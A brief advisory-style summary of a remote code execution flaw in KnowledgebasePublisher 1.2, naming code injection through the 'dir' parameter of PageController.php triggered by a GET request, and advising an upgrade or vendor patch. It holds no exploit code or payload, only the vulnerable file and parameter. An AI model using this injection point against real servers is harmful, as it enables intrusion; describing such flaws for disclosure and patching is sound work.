KnowledgebasePublisher 1.2 Remote Code Execution Exploit

This exploit allows an attacker to execute arbitrary code on a vulnerable server running KnowledgebasePublisher 1.2. The exploit takes advantage of a vulnerability in the PageController.php file, which allows an attacker to inject arbitrary code into the 'dir' parameter. The exploit then sends a GET request to the vulnerable server, which executes the injected code.

Mitigation:

Upgrade to the latest version of KnowledgebasePublisher, or apply the patch provided by the vendor.
